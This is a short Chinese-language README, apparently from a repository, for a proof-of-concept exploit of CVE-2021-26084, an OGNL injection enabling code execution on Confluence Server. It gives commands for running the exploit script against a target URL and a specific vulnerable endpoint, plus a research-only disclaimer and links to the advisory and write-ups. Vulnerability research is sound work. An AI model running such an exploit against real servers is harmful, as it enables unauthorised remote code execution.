CVE-2021-26084 - Confluence Server Webwork OGNL注入

• 存在一个OGNL注入漏洞，可允许已认证用户，在某些情况下未认证用户，在Confluence Server或Data Center实例上执行任意代码。

重要提示

此漏洞利用仅旨在供研究人员演示漏洞。我不赞成非法行为，并且不对任何恶意使用此脚本的行为负责。本仓库中展示的概念验证未暴露任何主机，且是在获得许可的情况下执行的。

• queryString参数请求

漏洞利用方法

命令：

$ python3 Confluence_OGNLInjection.py -u http://xxxxx.com

或

$ python3 Confluence_OGNLInjection.py -u http://xxxxx.com -p /pages/createpage-entervariables.action?SpaceKey=x

• 使用 Confluence_OGNLInjection.py 进行利用

• 参考资料：

https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html

https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md

https://www.exploit-db.com/exploits/50243